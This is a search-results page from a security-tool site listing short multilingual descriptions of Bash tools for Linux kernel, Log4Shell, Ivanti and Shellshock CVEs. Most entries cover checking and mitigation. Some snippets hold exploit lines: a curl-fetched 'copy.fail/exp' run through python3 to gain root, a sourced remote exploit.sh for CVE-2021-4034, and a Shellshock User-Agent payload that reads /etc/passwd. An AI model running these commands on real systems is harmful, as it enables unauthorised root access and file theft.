3053 matches found
CVE-2026-31431_Kernel_Checker
针对免费互联网服务器： root@kitploit: curl -fsSL https://raw.githubusercontent.com/ShahaB108/CVE-2026-31431KernelChecker/main/kernelcheck.sh | bash 针对伊朗服务器： root@kitploit: curl -fsSL https://raw.githubusercontent.com/ShahaB108/CVE-2026-31431KernelChecker/main/irkernelupdate.sh | bash...
cve-2026-31431-check
cve-2026-31431-check cve-2026-31431-check 是一个小型 Bash 分流脚本，用于检查本地 Linux 系统针对 CVE-2026-31431（又称“Copy Fail”）的暴露与缓解指标。 该脚本针对 Debian、Ubuntu 及 Debian 系衍生发行版 （包括 Linux Mint、Pop!OS 以及类似的 dpkg/APT 系统）。在非 Debian 系主机或缺少 dpkg-query 时，脚本以退出码 3 结束。它不单独依赖内核版本判断，因为厂商补丁移植（backports）和缓解包可能使仅凭版本的检查产生误导。 在容器、chroot ...
copyFail-CVE-2026-31431-workaround-bash
copyFail-CVE-2026-31431-workaround-bash 一些用法： root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...
cve-2021-44228-waf-tests
简单的 bash 脚本，用于测试你的 WAF 或其他设备对 Log4Shell 攻击字符串及各种绕过方式的防护能力 绕过技巧来自：https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words 运行方式： root@kitploit: ./cve-2021-44228.sh -t -c 或者使用默认值 https://127.0.0.1 和 403： root@kitploit: ./cve-2021-44228.sh 对于每个测试字符串，脚本会通过多种向量将其传入对目标的请求中，例如： 请求头：使用 User-Agen...
log4jhound
log4jhound 用于检测项目和系统中 Log4j 出现的 Bash 脚本：解压 JAR 文件并分析其 Manifest 文件，在源代码中进行文本搜索。 用法：./log4jhound.sh rootdirectory...
CVE-2021-4034
CVE-2021-4034 Bash 脚本中的 CVE-2021-4034 使用方法： source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...
CVE-2021-4034
CVE-2021-4034 BASH 文件，没有下载功能？复制并粘贴它！...
CVE-2026-1281-Ivanti-EPMM-RCE
CVE-2026-1281 y CVE-2026-1340 - Ivanti EPMM RCE Pre-Auth ⚠️ AVISO LEGAL: Este PoC se proporciona únicamente con fines educativos y de investigación en seguridad. Su uso sin autorización explícita es ilegal. 🎯 Descripción Proof of Concept PoC completo para la explotación de las vulnerabilidades...
CVE_kernellinux_jsh
CVEkernellinuxjsh — kernelsec Framework Autor: jshDevs · Versión: 0.1.0-scaffold · Licencia: MIT Framework modular en Bash para auditar y remediar CVEs críticos del kernel Linux en distribuciones RPM-based AlmaLinux 8/9, Rocky Linux 8/9, CentOS Stream 8/9/10. CVEs cubiertos...
it355-lab4-enterprise-lan-security
IT355 ラボ 4: エンタープライズ LAN セキュリティ & Shellshock 分析 📌 プロジェクト概要 このリポジトリには、エンタープライズ LAN 環境の包括的なセキュリティ評価が含まれています。このプロジェクトの主な焦点は、Linux ベースのウェブサーバーにおける Shellshock CVE-2014-6271 脆弱性の特定、悪用、および修復でした。 🛠️ 技術スタックとツール 環境: Fedora Linux サーバー, Windows ホスト/クライアント ネットワーク: Cisco Packet Tracer IT/OT セグメンテーション, NAT,...
defender
🛡️ Linux-Defender.sh 📝 目录 📌 概述 🚀 功能特性 🐧 支持的发行版 📦 已安装的工具 ⚙️ 安装 从源码构建（通用） 📦 软件包安装 Debian .deb 软件包 Arch Linux 软件包 🧰 运行 Defender 🧾 许可证 🙋♂️ 作者 ☕ 支持与贡献 📌 概述 Linux Defender 是一个强大且易于使用的 Bash 脚本，旨在显著增强 Linux 系统的安全态势。该工具面向安全专业人员、爱好者和系统管理员，可自动完成在多种主流 Linux 发行版中安装、配置和管理基本安全工具的复杂流程。借助 Linux...
CVE-2026-67401
cve-id 捐赠 帮助维护此项目 如果您觉得此项目有用，请考虑通过 PayPal 或 ABA Mobile 支持其持续维护。 ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 每笔捐赠的百分之十将捐献给坤塔宝花儿童医院。 | 选择支付方式 使用 ABA Mobile 扫描 · 点击放大 ---|--- ⚡ 简单用法 直接从 GitHub 运行最新版本的外部下载脚本： root@kitploit: bash 此命令需要 Bash 和 curl。如果您不信任来源，请在运行前查看远程脚本。...
CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE
Ivanti EPMM 预认证 RCE 模拟靶标 一个简单的演示应用，用于展示如何复现 Ivanti EPMM 预认证 RCE 漏洞（CVE-2026-1281 / CVE-2026-1340），仅供教育和安全研究目的使用。 漏洞概述 该漏洞利用了 Bash 算术展开（arithmetic expansion）的行为。当在算术上下文中使用一个包含对其他变量引用的变量时，如果被引用的变量包含带有命令替换的数组索引，则该命令会被执行。 利用链 1. 请求包含 st=theValue （字面字符串 "theValue" 并带有填充） 2. 请求包含...
Exploit-CVE-2026-24061
Exploit en bash para telnet CVE-2026-24061...
CVE-2026-31431-Copy-Fail
CVE-2026-31431 - 验证与缓解脚本 本仓库记录了一个用于评估 Linux 主机（重点为 Ubuntu）对 CVE-2026-31431 暴露情况的 Bash 脚本，并通过阻止 algifaead 模块来应用简单的缓解措施。 语言版本： 英语：README.md 葡萄牙语：README.pt-BR.md 该脚本支持三种模式： --check：收集主机信息并分类当前状态。 --mitigate：创建 modprobe 规则以阻止易受攻击的模块，并尝试卸载该模块。 --update：通过 apt 运行内核软件包升级。 关于该漏洞 CVE-2026-31431，公开名称为 Copy...
docker_CVE-2014-6271.
dockerCVE-2014-6271. 1. docker build -t DOCKERIMAGENAME /path/to/dockerfiledirectory 2. docker run -it -d -p 8080:80 DOCKERIMAGENAME 3. 実行確認: docker ps 4. Webサーバーの実行確認: http://localhost:8080 5. 脆弱性を悪用する: curl -H "user-agent: :; ; echo; echo; /bin/bash -c 'cat /etc/passwd'"...
cve_2022_0492
シェルスクリプトテンプレート プロフェッショナルなコマンドラインツールを作成するための、カラー化された出力フォーマットとユーティリティ関数を備えたモダンなBashスクリプトテンプレート。 特徴 🎨 カラー化された出力 : 事前定義されたカラースキームとフォーマット関数 📝 標準化されたメッセージ : 一貫した情報、成功、警告、エラーメッセージフォーマット 🔧 ユーティリティ関数 : 一般的なシェルスクリプト操作のためのすぐに使える関数 📦 モジュール設計 : プロジェクト間で簡単に再利用できる独立したライブラリファイル ⚡ 簡単セットアップ : 即時使用のためのシンプルなソースメカニズム...
CVE-2025-21385
SSRF エクスプロイトスクリプト このリポジトリには、テストおよび教育目的でSSRF（サーバーサイドリクエストフォージェリ）エクスプロイトを実行するためのスクリプトが含まれています。このツールは責任を持って、明示的な許可がある環境でのみ使用してください。 機能 ターゲットシステムのSSRF脆弱性を悪用します。 誤用を防ぐため、入力URLを検証します。 明確なエラーメッセージとヘルプメニューを備えた使いやすいCLIインターフェース。 必要条件 bash Unixシェル jq JSONプロセッサ curl HTTPリクエスト用コマンドラインツール 使用方法 構文 root@kitploit...
ZeroTrace
ZeroTrace ZeroTraceは、Bashで開発された強力な倫理的ハッキングツールで、匿名化を目的としています。ブラウザのトラフィックだけでなく、システムのすべてのネットワークトラフィックをTorネットワークを通じてルーティングすることで、オンライン上での匿名性を維持するのに役立ちます。その結果、オンラインアクティビティ、IPアドレス、位置情報の追跡が極めて困難になります。 特徴 すべてのインターネットトラフィックをTorネットワーク経由で送信します 実際のIPアドレスと位置情報を隠します オンラインアクティビティの追跡を極めて困難にします 手動または自動でIPを変更できます...